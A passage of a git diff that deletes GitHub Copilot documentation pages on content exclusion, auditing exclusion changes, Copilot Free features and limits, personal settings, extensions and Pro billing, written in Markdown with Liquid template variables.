`/__tests__` directory. - - "/__tests__/**" - # Ignore any files in the `/scripts` directory. - - "/scripts/*" - -# In the `gitlab-org/gitlab-runner` repository on GitLab: -git@gitlab.com:gitlab-org/gitlab-runner.git: - # Ignore the `/main_test.go` file. - - "/main_test.go" - # Ignore any files with names beginning with `server` or `session` anywhere in this repository. - - "{server,session}*" - # Ignore any files with names ending with `.md` or `.mk` anywhere in this repository. - - "*.m[dk]" - # Ignore files directly within directories such as `packages` or `packaged` anywhere in this repository. - - "**/package?/*" - # Ignore files in or below any `security` directories, anywhere in this repository. - - "**/security/**" -``` - -{% ifversion ghec %} - -## Configuring content exclusions for your enterprise - -As an enterprise owner, you can use the enterprise settings to specify files that {% data variables.product.prodname_copilot %} should ignore. The files can be within a Git repository or anywhere on the file system that is not under Git control. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.copilot-tab %} -1. Click the **Content exclusion** tab. -1. Use paths to specify which content to exclude. See the previous section, [Configuring content exclusions for your organization](#configuring-content-exclusions-for-your-organization). - -> [!NOTE] -> The key difference between setting content exclusion at the enterprise level and the organization level is that rules set at the enterprise level apply to all {% data variables.product.prodname_copilot_short %} users in the enterprise, whereas the rules set by organization owners only apply to users who are assigned a {% data variables.product.prodname_copilot_short %} seat by that organization. - -{% endif %} - -## Testing changes to content exclusions - -You can use your IDE to confirm that your changes to content exclusions are working as expected. - -### Propagate content exclusion changes to your IDE - -After you add or change content exclusions, it can take up to 30 minutes to take effect in IDEs where the settings are already loaded. If you don't want to wait, you can manually reload the content exclusion settings using the following instructions. - -* **For JetBrains IDEs and {% data variables.product.prodname_vs %}**, reload the content exclusion settings by closing and reopening the application. -* **For {% data variables.product.prodname_vscode %}**, use the following steps to reload the content exclusion settings: - 1. Access the Command Palette. For example, by pressing <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux). - 1. Type: `reload`. - 1. Select **Developer: Reload Window**. -* **For Vim/Neovim**, content exclusions are automatically fetched from {% data variables.product.prodname_dotcom %} each time you open a file. - -### Test your content exclusions - -There are a few different ways to test your content exclusions, depending on which IDE you're using. - -1. Open a file that you expect to be affected by your content exclusions. -1. Use one or more of the following techniques to test if content is being excluded: - * **In JetBrains IDEs, {% data variables.product.prodname_vs %}, and {% data variables.product.prodname_vscode %}**, check the {% data variables.product.prodname_copilot_short %} icon in the status bar. If a {% data variables.product.prodname_copilot_short %} content exclusion applies to the file, the {% data variables.product.prodname_copilot_short %} icon will have a diagonal line through it. Hover over the icon to see whether an organization or the parent repository disabled {% data variables.product.prodname_copilot_short %} for the file. - * **In Vim/Neovim**, begin typing in the file. If {% data variables.product.prodname_copilot %} no longer provides inline suggestions as you type, the file is excluded. - * You can also test content exclusions in {% data variables.product.prodname_copilot_chat_short %}. Open the {% data variables.product.prodname_copilot_chat_short %} window, and ask {% data variables.product.prodname_copilot_chat_short %} a question about the excluded file. If your content is excluded successfully, {% data variables.product.prodname_copilot_short %} will be unable to answer your question, and will explain that some files were excluded from the conversation due to content exclusion rules. - -## Further reading - -* [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/reviewing-changes-to-content-exclusions-for-github-copilot) -* [Configuring content exclusion for {% data variables.product.prodname_vs %}](https://learn.microsoft.com/en-us/visualstudio/ide/visual-studio-github-copilot-admin?view=vs-2022#configure-content-exclusion) in the Microsoft Learn documentation diff --git a/content/copilot/managing-copilot/configuring-and-auditing-content-exclusion/index.md b/content/copilot/managing-copilot/configuring-and-auditing-content-exclusion/index.md deleted file mode 100644 index b5a610725698..000000000000 --- a/content/copilot/managing-copilot/configuring-and-auditing-content-exclusion/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Configuring and auditing content exclusion -shortTitle: Configure content exclusion -intro: 'You can prevent {% data variables.product.prodname_copilot_short %} from accessing certain content, and review any changes to these settings.' -versions: - feature: copilot -topics: - - Copilot -children: - - /excluding-content-from-github-copilot - - /reviewing-changes-to-content-exclusions-for-github-copilot ---- diff --git a/content/copilot/managing-copilot/configuring-and-auditing-content-exclusion/reviewing-changes-to-content-exclusions-for-github-copilot.md b/content/copilot/managing-copilot/configuring-and-auditing-content-exclusion/reviewing-changes-to-content-exclusions-for-github-copilot.md deleted file mode 100644 index e52675e321d9..000000000000 --- a/content/copilot/managing-copilot/configuring-and-auditing-content-exclusion/reviewing-changes-to-content-exclusions-for-github-copilot.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Reviewing changes to content exclusions for GitHub Copilot -shortTitle: Content exclusion changes -intro: You can monitor changes to content exclusions in your repositories and organizations. -permissions: Organization owners -product: '{% data reusables.gated-features.copilot-business-and-enterprise %}' -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/reviewing-changes-to-content-exclusions-for-github-copilot - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/reviewing-changes-to-content-exclusions-for-github-copilot - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/reviewing-changes-to-content-exclusions-for-github-copilot - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/reviewing-changes-to-content-exclusions-for-github-copilot ---- - -Organization and repository settings include the ability to exclude content from being used by {% data variables.product.prodname_copilot %}. You can review any changes that are made to these content exclusion settings. - -## Reviewing changes in your repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} - -1. In the "Code & automation" section of the side bar, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}**. -{% data reusables.copilot.view-last-change-content-exclusions %} -1. Click the time of the last change. - - ![Screenshot of the last edited information. The time of change link is highlighted with a dark orange outline.](/assets/images/help/copilot/content-exclusions-last-edited-by.png) - - The "Audit log" page for the organization is displayed, showing the most recently logged occurrences of the `copilot.content_exclusion_changed` action in the repository. -{% data reusables.copilot.more-details-content-exclusion-logs %} - -## Reviewing changes in your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} - -1. In the left sidebar, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}** then click **Content exclusion**. -{% data reusables.copilot.view-last-change-content-exclusions %} -1. Click the time of the last change. - - ![Screenshot of the last edited information. The time of change link is highlighted with a dark orange outline.](/assets/images/help/copilot/content-exclusions-last-edited-by.png) - - The "Audit log" page for the organization is displayed, showing the most recently logged occurrences of the `copilot.content_exclusion_changed` action. - - Changes made at either the repository or organization level are listed. - -{% data reusables.copilot.more-details-content-exclusion-logs %} - -{% ifversion ghec %} - -## Reviewing changes in your enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.copilot-tab %} - -1. On the {% data variables.product.prodname_copilot %} page, click the **Content exclusion** tab. - - At the bottom of the page you'll see the name of the person who last changed the content exclusion settings, and information about when they made this change. - -1. Click the time of the last change. - - ![Screenshot of the last edited information. The time of change link is highlighted with a dark orange outline.](/assets/images/help/copilot/content-exclusions-last-edited-by.png) - - The "Audit log" page for the organization is displayed, showing the most recently logged occurrences of the `copilot.content_exclusion_changed` action. - - Changes made at the repository, organization, and enterprise level are listed. - -{% data reusables.copilot.more-details-content-exclusion-logs %} - -{% endif %} diff --git a/content/copilot/managing-copilot/index.md b/content/copilot/managing-copilot/index.md deleted file mode 100644 index e6c184476709..000000000000 --- a/content/copilot/managing-copilot/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Managing Copilot -shortTitle: Manage Copilot -intro: 'Learn how to manage and configure {% data variables.product.prodname_copilot_short %}.' -versions: - feature: copilot -topics: - - Copilot -children: - - /managing-copilot-for-your-enterprise - - /managing-github-copilot-in-your-organization - - /managing-copilot-as-an-individual-subscriber - - /configure-personal-settings - - /configuring-and-auditing-content-exclusion ---- diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/extending-the-capabilities-of-github-copilot-in-your-personal-account.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/extending-the-capabilities-of-github-copilot-in-your-personal-account.md deleted file mode 100644 index c2d9077582b2..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/extending-the-capabilities-of-github-copilot-in-your-personal-account.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Extending the capabilities of GitHub Copilot in your personal account -shortTitle: Install personal extensions -intro: 'You can add additional functionality to {% data variables.product.prodname_copilot_short %} in your personal account, by installing certain {% data variables.product.prodname_github_apps %} from {% data variables.product.prodname_marketplace %}.' -versions: - feature: copilot-extensions -topics: - - Copilot -type: how_to -redirect_from: - - /copilot/github-copilot-chat/github-copilot-extensions/installing-github-copilot-extensions-for-your-personal-account - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/installing-github-copilot-extensions-for-your-personal-account ---- - -## About {% data variables.product.prodname_copilot_extensions %} for your personal account - -{% data reusables.copilot.copilot-extensions.copilot-extensions-on-marketplace %} - -Anyone can install {% data variables.product.prodname_copilot_extensions_short %} for their personal account, but you must set up {% data variables.product.prodname_copilot_free_short %}, or have an active {% data variables.product.prodname_copilot_pro_short %} subscription, to use a {% data variables.product.prodname_copilot_extension_short %} you install. - -> [!NOTE] If you have access to {% data variables.product.prodname_copilot_short %} through a {% data variables.product.prodname_copilot_business_short %} or {% data variables.product.prodname_copilot_enterprise_short %} subscription, {% data variables.product.prodname_copilot_extensions_short %} are installed by organization owners at the organization level, and you do not need to install the extension on your personal account. To start using {% data variables.product.prodname_copilot_extensions_short %} installed in your organization, see [AUTOTITLE](/copilot/github-copilot-chat/github-copilot-extensions/using-github-copilot-extensions). - -You can also create your own custom {% data variables.product.prodname_copilot_extensions_short %} for your personal account. For more information, see [AUTOTITLE](/copilot/building-copilot-extensions/about-building-copilot-extensions). - -## Installing {% data variables.product.prodname_copilot_extensions %} for your personal account - -1. Open [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=apps&copilot_app=true). -1. In the left sidebar, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}**. -1. In the list of {% data variables.product.prodname_copilot_extensions_short %}, locate an app you'd like to install. -1. To install the {% data variables.product.prodname_copilot_extension_short %} on your personal account, see [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-personal-account#installing-a-github-app-in-your-personal-account). -{% data reusables.copilot.copilot-extensions.extension-specific-onboarding-steps %} - -## Next steps - -After installing a {% data variables.product.prodname_copilot_extension_short %}, you can start using the extension in {% data variables.product.prodname_copilot_chat_short %}. See [AUTOTITLE](/copilot/github-copilot-chat/github-copilot-extensions/using-github-copilot-extensions). diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/index.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/index.md deleted file mode 100644 index 5b3375989be6..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Managing Copilot as an individual subscriber -shortTitle: Manage for individual -intro: 'Individual users can subscribe to {% data variables.product.prodname_copilot_pro_short %} or {% data variables.product.prodname_copilot_free_short %} for personal use.' -versions: - feature: copilot -topics: - - Copilot -children: - - /managing-your-github-copilot-pro-subscription - - /managing-copilot-free - - /managing-copilot-policies-as-an-individual-subscriber - - /extending-the-capabilities-of-github-copilot-in-your-personal-account ---- diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/about-github-copilot-free.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/about-github-copilot-free.md deleted file mode 100644 index f18decd1e683..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/about-github-copilot-free.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: About GitHub Copilot Free -shortTitle: About Copilot Free -intro: 'Use {% data variables.product.prodname_copilot %} in your IDE, on {% data variables.product.prodname_mobile %}, or on {% data variables.product.prodname_dotcom_the_website %} for free.' -versions: - feature: copilot -type: overview -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/about-github-copilot-free ---- - -{% data variables.product.prodname_copilot_free %} provides limited access to select features of {% data variables.product.prodname_copilot_short %}, allowing you to experience AI-powered coding assistance without a subscription. - -{% data variables.product.prodname_copilot_free_short %} is not available if: - -* You have a {% data variables.enterprise.prodname_managed_user %}. -* You are assigned a {% data variables.product.prodname_copilot_short %} seat through an organization. -* You have an existing {% data variables.product.prodname_copilot_pro_short %} subscription or trial. -* You have free access to {% data variables.product.prodname_copilot_pro_short %} as a student, teacher, or open-source maintainer. - -## What features are included in {% data variables.product.prodname_copilot_free_short %}? - -{% data variables.product.prodname_copilot_free_short %} includes the following features: - -* Code completion in {% data variables.product.prodname_vscode %}, {% data variables.product.prodname_vs %}, JetBrains IDEs, Vim/Neovim, Xcode, and Azure Data Studio - * {% data variables.copilot.next_edit_suggestions_caps %}, which will predict the location of the next edit you are likely to make and suggest a completion for it. (**only in {% data variables.product.prodname_vscode_shortname %}**) - * {% data variables.product.prodname_copilot_edits_short %} to make changes across multiple files. {% data variables.product.prodname_copilot_edits_short %} is available in two modes: edit mode and agent mode. **(edit mode in {% data variables.product.prodname_vscode %} and JetBrains IDEs, agent mode only in {% data variables.product.prodname_vscode %})** -* {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vscode %}, {% data variables.product.prodname_vs %}, JetBrains IDEs, {% data variables.product.prodname_mobile %}, and {% data variables.product.prodname_dotcom_the_website %} - * Custom instructions (**only in {% data variables.product.prodname_vs %}, {% data variables.product.prodname_vscode_shortname %}, and {% data variables.product.prodname_dotcom_the_website %}**) - * Prompt files (**only in {% data variables.product.prodname_vscode_shortname %}**) - * Vision (**only in {% data variables.product.prodname_vscode_shortname %} Insiders**) -* {% data variables.product.prodname_copilot_cli_short %} -* {% data variables.product.prodname_windows_terminal %} -* Block suggestions matching public code -* Access to {% data variables.copilot.copilot_claude_sonnet_35 %}, {% data variables.copilot.copilot_gemini_flash %} and o3-mini models -* Access to {% data variables.product.prodname_copilot_extensions_short %} in {% data variables.product.prodname_vscode %}, {% data variables.product.prodname_vs %}, JetBrains IDEs, {% data variables.product.prodname_dotcom_the_website %}, and {% data variables.product.prodname_mobile %} - -## What are the limitations of {% data variables.product.prodname_copilot_free_short %}? - -{% data variables.product.prodname_copilot_free_short %} has the following limitations: - -* Code completions are limited to 2000 completions per month. -* {% data variables.product.prodname_copilot_chat_short %} is limited to 50 chat messages per month. This limit includes the usage of {% data variables.product.prodname_copilot_cli_short %}, {% data variables.product.prodname_windows_terminal %}, and both standard and multi-file editing chats in {% data variables.product.prodname_vscode_shortname %} and {% data variables.product.prodname_vs %}. -When you reach these limits, you can upgrade to {% data variables.product.prodname_copilot_pro_short %} to continue using {% data variables.product.prodname_copilot_short %}. - -### Limitations for enterprises - -{% data variables.product.prodname_copilot_free_short %} is not suitable for enterprises, as it does not include the following features: - -* Access management -* Audit logs -* Policy management -* File exclusion -* Usage data -* Indemnification coverage - -## How can I upgrade to {% data variables.product.prodname_copilot_pro_short %}? - -If you use {% data variables.product.prodname_copilot_free_short %} in {% data variables.product.prodname_vs %}, {% data variables.product.prodname_vscode_shortname %}, or on {% data variables.product.prodname_dotcom_the_website %}, and reach the usage limits, you'll receive a notification. The notification includes the reset date for your limits and a link to set up a 30-day free trial of {% data variables.product.prodname_copilot_pro_short %}. After the trial ends, you'll need a paid subscription to keep using {% data variables.product.prodname_copilot_short %}. - -If you use {% data variables.product.prodname_copilot_free_short %} in a different IDE and reach the limits, an error message will appear in your editor. To continue, you can start a 30-day free trial of {% data variables.product.prodname_copilot_pro_short %} in your {% data variables.product.github %} account settings. See [AUTOTITLE](/copilot/setting-up-github-copilot/setting-up-github-copilot-for-yourself#1-get-access-to-github-copilot). - -If you use {% data variables.product.prodname_copilot_free_short %} in {% data variables.product.prodname_mobile %} and reach the usage limits, you'll be prompted to upgrade to {% data variables.product.prodname_copilot_pro_short %} via an in-app purchase. - -## Next steps - -* To learn how to access {% data variables.product.prodname_copilot_free %}, see [Accessing {% data variables.product.prodname_copilot_free %}](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/accessing-github-copilot-free). -* To learn how to disable {% data variables.product.prodname_copilot_free %}, see [Disabling {% data variables.product.prodname_copilot_free %}](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/disabling-github-copilot-free). diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/accessing-github-copilot-free.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/accessing-github-copilot-free.md deleted file mode 100644 index 9d3d0a9dcbf5..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/accessing-github-copilot-free.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Accessing GitHub Copilot Free -shortTitle: Access Copilot Free -intro: 'Learn how to access {% data variables.product.prodname_copilot_free_short %} in your IDE, {% data variables.product.prodname_mobile %}, or {% data variables.product.prodname_dotcom_the_website %}.' -versions: - feature: copilot -type: how_to -topics: - - Copilot ---- - -There are a few ways to access {% data variables.product.prodname_copilot_free_short %}. - -* {% data variables.product.prodname_vs %} and {% data variables.product.prodname_vscode_shortname %} -* {% data variables.product.prodname_dotcom_the_website %} -* {% data variables.product.prodname_mobile %} -* Other IDEs - -For more information about the features available in {% data variables.product.prodname_copilot_free_short %}, see [About {% data variables.product.prodname_copilot_free_short %}](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/about-github-copilot-free). - -## {% data variables.product.prodname_vs %} and {% data variables.product.prodname_vscode_shortname %} - -In {% data variables.product.prodname_vs %} and {% data variables.product.prodname_vscode_shortname %} you can access {% data variables.product.prodname_copilot_free_short %} directly from the editor. - -1. In the top right of {% data variables.product.prodname_vs %} or {% data variables.product.prodname_vscode_shortname %}, click **{% octicon "copilot" aria-hidden="true" %}**. -1. In the sidebar, click **Sign up for {% data variables.product.prodname_copilot_free_short %}**. -1. If you have a {% data variables.product.github %} account, you will be prompted to sign in. If you don't have a {% data variables.product.github %} account, you will be prompted to create one. - -## {% data variables.product.prodname_dotcom_the_website %} - -With {% data variables.product.prodname_copilot_free_short %}, you can ask {% data variables.product.prodname_copilot_short %} questions within a chat interface on {% data variables.product.github %}. - -1. To access your personal dashboard once you're signed in, click the {% octicon "mark-github" aria-label="The github octocat logo" %} in the upper-left corner of any page on {% data variables.product.github %}. -1. At the top of the dashboard, use the "Ask a question" box to start a chat with {% data variables.product.prodname_copilot_short %}. - -## {% data variables.product.prodname_mobile %} - -You'll automatically get subscribed to {% data variables.product.prodname_copilot_free_short %} when you start a chat with {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_mobile %}. - -{% data reusables.copilot.chat-mobile-start-chat %} -1. At the bottom of the page, use the "Ask {% data variables.product.prodname_copilot_short %}" box to start a chat with {% data variables.product.prodname_copilot_short %}. - -Alternatively, go to "Settings" in {% data variables.product.prodname_mobile %}, then under {% data variables.product.prodname_copilot_short %} settings, click **Get started for Free**. - -## Other IDEs - -To use {% data variables.product.prodname_copilot_free_short %} in other IDEs, you first have to activate {% data variables.product.prodname_copilot_free_short %} in your {% data variables.product.github %} account settings. - -{% data reusables.user-settings.copilot-settings %} -1. Click **Start using {% data variables.product.prodname_copilot_free_short %}** to activate {% data variables.product.prodname_copilot_free_short %} and open a conversation thread. -1. Click **Use {% data variables.product.prodname_copilot_short %} in other IDEs** and follow the instructions for your IDE. diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/disabling-github-copilot-free.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/disabling-github-copilot-free.md deleted file mode 100644 index 10c80ea2dc77..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/disabling-github-copilot-free.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Disabling GitHub Copilot Free -shortTitle: Disable Copilot Free -intro: 'Learn how to disable {% data variables.product.prodname_copilot_free_short %} in your IDE or {% data variables.product.prodname_dotcom_the_website %}.' -versions: - feature: copilot -type: how_to -topics: - - Copilot ---- - -{% data variables.product.prodname_copilot_free_short %} is automatically disabled when you have a paid subscription to {% data variables.product.prodname_copilot_pro_short %}, or when you are granted a license through an organization or enterprise. If you want to disable {% data variables.product.prodname_copilot_free_short %} without a paid subscription, you can do so in your IDE and in {% data variables.product.prodname_dotcom_the_website %}. - -## Disabling {% data variables.product.prodname_copilot_free_short %} in {% data variables.product.github %} - -You can disable {% data variables.product.prodname_copilot_free_short %} in your {% data variables.product.github %} account settings. This will disable all features of {% data variables.product.prodname_copilot_short %} on {% data variables.product.github %}. - -1. In the upper-right corner of any page, click your profile photo, then click **{% octicon "copilot" aria-hidden="true" %} Your {% data variables.product.prodname_copilot_short %}**. -1. Under "Visibility," to the right of "Show {% data variables.product.prodname_copilot_short %}, select **Disabled** from the dropdown. - -## Disabling {% data variables.product.prodname_copilot_free_short %} in your IDE - -You can partially or fully disable {% data variables.product.prodname_copilot_free_short %} in JetBrains IDEs, {% data variables.product.prodname_vscode_shortname %}, {% data variables.product.prodname_vs %}, and XCode: - -1. Navigate to [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/configuring-github-copilot-in-your-environment). -1. At the top of the page, select your IDE. -1. At the top right of the page, under "In this article," select **Enabling or disabling {% data variables.product.prodname_copilot_short %}**. -1. Follow the instructions to disable {% data variables.product.prodname_copilot_free_short %} in your IDE. diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/index.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/index.md deleted file mode 100644 index f23714c472f8..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-free/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Managing Copilot Free -shortTitle: Manage Copilot Free -intro: 'Individual users can use {% data variables.product.prodname_copilot_free_short %} without a subscription, or disable it.' -versions: - feature: copilot -topics: - - Copilot -children: - - /about-github-copilot-free - - /accessing-github-copilot-free - - /disabling-github-copilot-free ---- diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-policies-as-an-individual-subscriber.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-policies-as-an-individual-subscriber.md deleted file mode 100644 index 360b5011ba02..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-policies-as-an-individual-subscriber.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Managing Copilot policies as an individual subscriber -shortTitle: Manage policies -intro: 'Find out how to change your personal settings on {% data variables.product.github %} to configure {% data variables.product.prodname_copilot %}''s behavior.' -product: '{% data variables.product.prodname_copilot_pro_short %} and {% data variables.product.prodname_copilot_free_short %}' -topics: - - Copilot -versions: - feature: copilot -redirect_from: - - /copilot/configuring-github-copilot/configuring-github-copilot-settings-on-githubcom - - /github/copilot/about-github-copilot-telemetry - - /github/copilot/github-copilot-telemetry-terms - - /copilot/configuring-github-copilot/configuring-your-personal-github-copilot-settings-on-githubcom ---- - -## About {% data variables.product.prodname_copilot %} settings on {% data variables.product.github %} - -In addition to the configuration for the {% data variables.product.prodname_copilot %} plugin in your supported IDE, you can configure settings for {% data variables.product.prodname_copilot %} on {% data variables.product.github %}. The settings apply wherever you use {% data variables.product.prodname_copilot %}. - -## Enabling or disabling suggestions matching public code - -> [!NOTE] If you are a member of an organization on {% data variables.product.prodname_ghe_cloud %} who has been assigned a {% data variables.product.prodname_copilot %} seat through your organization, you will not be able to configure suggestions matching public code in your personal account settings. Your setting for suggestions matching public code will be inherited from your organization or enterprise. - -Your personal settings for {% data variables.product.prodname_copilot %} include an option to either allow or block code suggestions that match publicly available code. If you choose to block suggestions matching public code, {% data variables.product.prodname_copilot %} checks code suggestions with their surrounding code of about 150 characters against public code on {% data variables.product.prodname_dotcom %}. If there is a match, or a near match, the suggestion is not shown to you. - -If you choose to allow suggestions matching public code, when {% data variables.product.prodname_copilot_short %} suggests matching code you can display details of the matches and click through to the relevant repositories on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/copilot/using-github-copilot/finding-public-code-that-matches-github-copilot-suggestions). - -{% data reusables.user-settings.copilot-settings %} -1. To the right of **Suggestions matching public code**, select the dropdown menu, then click **Allow** to allow suggestions matching public code, or **Block** to block suggestions matching public code. - -{% ifversion fpt %} - -## Enabling or disabling prompt and suggestion collection - -You can choose whether your prompts and {% data variables.product.prodname_copilot_short %}'s suggestions are collected and retained by {% data variables.product.prodname_dotcom %}, and further processed and shared with Microsoft. For more information about data that {% data variables.product.prodname_copilot %} may collect depending on your settings, see [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) and the [{% data variables.product.prodname_copilot %} privacy FAQ](https://github.com/features/copilot/#faq). - -{% data reusables.user-settings.copilot-settings %} -1. To allow or prevent {% data variables.product.prodname_dotcom %} using your data, select or deselect **Allow {% data variables.product.prodname_dotcom %} to use my code snippets from the code editor for product improvements**. - -## Enabling or disabling alternative AI models - -You can choose whether to allow the following AI models to be used as an alternative to {% data variables.product.prodname_copilot_short %}'s default model. - -* {% data variables.copilot.copilot_claude_sonnet %} - see [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-claude-sonnet-in-github-copilot) -* {% data variables.copilot.copilot_gemini_flash %} - see [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-gemini-flash-in-github-copilot) - -{% data reusables.user-settings.copilot-settings %} -1. To the right of the model name, select the dropdown menu, then click **Enabled** or **Disabled**. - -## Enabling or disabling web search for {% data variables.product.prodname_copilot_chat %} - -You can enable web search for {% data variables.product.prodname_copilot_chat %}. This setting is disabled by default. If you enable this setting, {% data variables.product.prodname_copilot_chat_short %} will use Bing to search the internet for information related to a question. Bing search is particularly helpful when discussing new technologies or highly specific subjects. - -{% data reusables.user-settings.copilot-settings %} -1. To the right of **{% data variables.product.prodname_copilot_short %} access to Bing**, select the dropdown menu, and then click **Enabled** or **Disabled**. - -## Model training and improvements - -By default, {% data variables.product.github %}, its affiliates, and third parties will **not** use your data, including prompts, suggestions, and code snippets, for AI model training. This is reflected in your personal settings for {% data variables.product.prodname_copilot %} and cannot be enabled. - -{% endif %} diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/about-billing-for-copilot-pro.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/about-billing-for-copilot-pro.md deleted file mode 100644 index 38cf44646341..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/about-billing-for-copilot-pro.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: About billing for Copilot Pro -shortTitle: About billing -intro: 'Learn about pricing and billing cycles for {% data variables.product.prodname_copilot_pro %}.' -versions: - feature: copilot -type: overview -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-copilot-subscription/about-billing-for-github-copilot-individual ---- - -## Pricing for {% data variables.product.prodname_copilot_pro %} - -The {% data variables.product.prodname_copilot_pro %} subscription is available on a monthly or yearly cycle. - -* **If you choose a monthly billing cycle**, you will be billed {% data variables.copilot.cfi_price_per_month %} per calendar month. -* **If you choose a yearly billing cycle**, you will be billed {% data variables.copilot.cfi_price_per_year %} per year. - -You can change to a monthly or yearly billing cycle at any time. The change will take effect from the start of your next billing cycle. - -{% ifversion billing-auth-and-capture %} - -{% data reusables.billing.authorization-charge %} - -> [!NOTE] If you are an eligible student, teacher, or open-source maintainer, you can access {% data variables.product.prodname_copilot_pro %} for free. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-copilot-subscription/getting-free-access-to-copilot-as-a-student-teacher-or-maintainer). - -{% endif %} - -{% ifversion fpt %} - -### About the 30-day trial for {% data variables.product.prodname_copilot_pro_short %} - -Before starting a paid subscription for a personal account, you can set up a one-time {% data reusables.copilot.trial-period %}-day trial to evaluate {% data variables.product.prodname_copilot_short %}. To begin a trial, you will need to choose a monthly or yearly billing cycle, and provide a payment method. If you do not cancel the trial before the end of the {% data reusables.copilot.trial-period %} days, the trial will automatically convert to a paid subscription. - -You can cancel your {% data variables.product.prodname_copilot_short %} trial at any time during the {% data reusables.copilot.trial-period %} days and you won't be charged. If you cancel before the end of the trial, you will continue to have access to {% data variables.product.prodname_copilot_short %} until the {% data reusables.copilot.trial-period %}-day trial period ends. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/canceling-your-copilot-trial-as-an-individual-user). - -{% data reusables.copilot.tp-users-trial-eligibility %}{% endif %} - -## About changes to your {% data variables.product.prodname_copilot_short %} subscription - -{% data reusables.copilot.copilot-one-account %} - -You can cancel your {% data variables.product.prodname_copilot_pro_short %} subscription at any time. The cancellation will take effect at the end of your current billing cycle. See 